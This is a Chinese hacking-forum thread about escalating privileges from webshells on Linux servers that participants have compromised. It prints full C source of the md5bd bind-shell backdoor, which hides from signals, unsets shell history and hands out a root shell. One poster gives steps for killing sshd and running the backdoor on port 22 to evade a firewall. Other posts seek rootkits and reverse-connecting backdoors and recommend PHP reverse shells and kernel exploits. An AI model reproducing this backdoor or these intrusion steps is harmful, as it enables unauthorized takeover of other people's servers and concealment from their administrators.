发新话题
打印

[讨论]Linux系统提权相关!

有一个md5shell.c,上传到一可写目录。gcc -o shell /home/md5shell.c 就会在/home下生成shell文件,运行他/home/shell,nc连接1025端口,输入默认密码secret便得到shell。

TOP

问题是根本执行不了命令啊!
连ls命令都执行不了的!
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

我曾经在一个tomcat做的jsp服务的Linux系统中弄到了一个root权相的webshell.
但是iptable限制了规则.我只能连接服务器的22断口(ssh)和80.
服务器上有gcc

于是我这么做:
1- 先kill -9 ssh的进程.;
2- 修改md5shell(一个*Nix后门)的连接断口修改为22;
3- 将修改后的md5shell源代码上传到服务器上编译(gcc md5shell.c -o shell);
4- 在webshell中执行:  ./shell
5- 用NC连接服务器   NC 肉鸡IP 22
6- 输入密码,后没有回显,直接用 ls命令察看,恩成功!
20字节,我能说点啥?

TOP

md5shell source



/*
    md5bd.c - backdoor/shell server with md5 based authentication
   (c) 2000 by Mixter <mixter@newyorkoffice.com> http://1337.tsx.org

  This is a small server program that can be put on an untrusted host,
  without the danger of the hard-coded password being retrieved. Another
  big advantage of using md5 is that your password can be effectively as
  long as you want... I&#39;m using md5sum since every system should have it,
  and since it&#39;s a stupid program and not worth of putting in md5 functions.

  To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
  Usage: ./md5bd, then ./nc host port, then enter your password
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>

/* change this to 1337 if you want it to be *really* stealthy ;/ */
#define P0RT 1025 //记得将断口号修改为22

/* the default pass, "secret" */
#define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"  //你可以用这个默认的密码.

/* the stupidity of perl, realized in C... */
#define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"

char md[36];

char *
mdpass(char *plain)
{
  FILE *p;
  char fmt[1024];

  snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
  p = popen(fmt, "r");
  memset(md, 0, 36);
  fread(md, 32, 1, p);
  fclose(p);
  return md;
}

int
main(int a, char **b)
{
  int c, d, e = sizeof(struct sockaddr_in), f;
  char p[1000];
  struct sockaddr_in l, r;

  signal(SIGCHLD, SIG_IGN);
  signal(SIGHUP, SIG_IGN);
  signal(SIGTERM, SIG_IGN);
  signal(SIGINT, SIG_IGN);
  if (fork())
    exit(0);
  l.sin_family = AF_INET;
  l.sin_port = htons(P0RT);
  l.sin_addr.s_addr = INADDR_ANY;
  bzero(&(l.sin_zero), 8);
  c = socket(AF_INET, SOCK_STREAM, 0);
  bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));

  listen(c, 3);
  while ((d = accept(c, (struct sockaddr *) &r, &e)))
  {
    if (!fork())
    {
      recv(d, p, 1000, 0);
#ifndef REMOTELY_EXPLOITABLE
      for (f = 0; f < strlen(p); f++)
        switch (p[f])
        {
        case &#39;|&#39;:
        case &#39;;&#39;:
        case &#39;&&#39;:
        case &#39;>&#39;:
        case &#39;`&#39;:
        case &#39;\r&#39;:
        case &#39;\n&#39;:
          p[f] = &#39;\0&#39;;
          break;
        }
#endif /* REMOTELY_EXPLOITABLE :P */
      if (strncmp(mdpass(p), MDPASS,32) != 0)
      {
        send(d, "\377\373\001", 4, 0);
        close(d);
        exit(1);
      }
      printf ("hi.\n");
      close(0);
      close(1);
      close(2);
      dup2(d, 0);
      dup2(d, 1);
      dup2(d, 2);
      setreuid(0, 0);
      setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
      unsetenv("HISTFILE");
      execl("/bin/sh", "sh", (char *) 0);
      close(d);
      exit(0);
    }
  }
  return 0;
}
20字节,我能说点啥?

TOP

引用:
引用第26楼hackest于2007-03-20 06:04发表的 :
问题是根本执行不了命令啊!
连ls命令都执行不了的!
那你还有什么搞头?
20字节,我能说点啥?

TOP

引用:
引用第5楼hackest于2007-02-02 00:18发表的 :
22端口用putty无法连接上……[s:57]
在Win中 telnet IP 22
有回显(比如显示出来登陆信息,但是在win中直接连ssh是不行的)既说明ssh可以连接.

你看你能连上那个断口就kill了那个进程,在md5shell中进行相应的修改即可.(参照我上面发的帖子中的方法)
20字节,我能说点啥?

TOP

刀跟着刀哦!

我发个新帖都没有权限制!

大家能不能说一说有没有什么好的Windows2003中使用的后门呀?一定要反向连接,或者可以复用80断口.
20字节,我能说点啥?

TOP

引用:
引用第19楼5655817于2007-02-10 00:49发表的 :
l可否给发个好用的Rootkit
就是,谁有好的rootkit 呀,我在我的linux肉鸡中安装rootkit总是失败.
20字节,我能说点啥?

TOP

看来那服务器没搞了,连一些很基本的命令的都执行不了的,呵呵
楼上的厉害啊,连发六帖!
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

我说楼上freeflag 大哥...你那个tomcat在linux上默认启动是root权限.你想搞什么都行..人家都说了是在php webshell上提权....如果webshell连最基本的命令都不能执行的话.找一个可以弹回来的php试试.就算有权限也很低...想提权?呵呵...先问问gcc吧~~~
⿶俺寔鈫訕随煈爾紶⿲

TOP

朋友你真是一个好人啊 。。谢谢了

TOP

楼上几位说了 c99 可以反弹回一个shell
nstview 也可以。
本地nc监听,tools那里直接反弹就可以得到一个反弹的终端。
至于提权,可以查看linux的内核版本,去找一找相关的本地提权exp,上去编译然后试试。
网上提供的exp很多是不能直接编译成功的,需要作些修改。

TOP

都说了要先问gcc了.............webshell里面能有几个能有gcc的....
⿶俺寔鈫訕随煈爾紶⿲

TOP

引用:
引用第26楼hackest于2007-03-20 06:04发表的 :
问题是根本执行不了命令啊!
连ls命令都执行不了的!
用/bin/ls 看看

如果是安全模式或者禁用了函数,那就需要用一些PHP safemode绕过得漏洞了,网上很多,可以找一下
大隐于市

TOP

如果可以上传php文件的话,可以试一些php本地溢出漏洞。

http://www.php-security.org/ 公布了不少php内核/php函数未补的漏洞,可以找台相同版本的Linux调试,应该可以获取一个真正的shell.

TOP

引用:
引用第34楼linuxman于2007-03-21 17:01发表的 :
我说楼上freeflag 大哥...你那个tomcat在linux上默认启动是root权限.你想搞什么都行..人家都说了是在php webshell上提权....如果webshell连最基本的命令都不能执行的话.找一个可以弹回来的php试试.就算有权限也很低...想提权?呵呵...先问问gcc吧~~~
错!!!
在webshell中,有好多的命令执行都会失败!IE中 uaeradd都执行不了,firefox中可以使用 useradd ,但是不能修改新用户密码(linux规定,useradd新建的用户必须用passwd指定密码,否则用户无法使用)
我在webshell中用命令关闭iptable 失败.反弹shell,见鬼去吧,iptable设置的超级变态!那个服务器只支持jsp.

在这种情况下,我想出了以上的办法.
20字节,我能说点啥?

TOP

引用:
引用第38楼Helvin于2007-03-22 11:28发表的 :

用/bin/ls 看看

如果是安全模式或者禁用了函数,那就需要用一些PHP safemode绕过得漏洞了,网上很多,可以找一下
whereis gcc

//查找gcc


不过你的 webshell连密令都执行不了的话,那就没搞头了.
20字节,我能说点啥?

TOP

以后请以"同志"称呼我/
20字节,我能说点啥?

TOP

把WEBSHELL用短信发给我 我帮你提
BlackStorm...

TOP

有没有那个兄弟会写自动向FTP中传送文件的.bat
20字节,我能说点啥?

TOP

引用:
引用第43楼randy于2007-03-24 23:28发表的 :
把WEBSHELL用短信发给我 我帮你提
难道这位兄弟有传说中的0day?!
My Blog:http://www.hackest.cn/ [H.S.T]:http://www.hackm.com/

TOP

我有一个jsp的shell用的linux 系统,可惜偶那jsp的马马不好使
只支持jsp
搜索下google和论坛都米找到好的!

TOP

#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<fcntl.h>
#include<stdlib.h>

int
main(int argc,char *argv[])
{  int fd,a,b;
  if(argc!=2)
  {  printf("Error-1\n");
   exit(1);
  }
  printf("Input:");
  scanf("%d",a);
  if((fd=open(argv[1],O_RDWR|O_CREAT))==-1)
  {  printf("Error-2\n");
   exit(2);
  }
  b=write(fd,"123456",a);
  if(b==-1)
  {  printf("Error-3\n");
   exit(3);
  }
  else
  {  printf("%d\n",b);
  }
  if((close(fd))==-1)
  {  printf("Error-4\n");
   exit(4);
  }
  if((execlp("more","more",argv[1],NULL))<0)
  {  printf("Error-5.\n");
   exit(5);
  }
  return 0;
}


//编写了一个小程序,编译可以通过,但是运行的时候出现"Error-3"
20字节,我能说点啥?

TOP

对了,我怎么在哪里发个帖子都说我的权限不够呢?
20字节,我能说点啥?

TOP

还有一个问题
怎样在 Linux 中实现 getche()函数的功能?
20字节,我能说点啥?

TOP

发新话题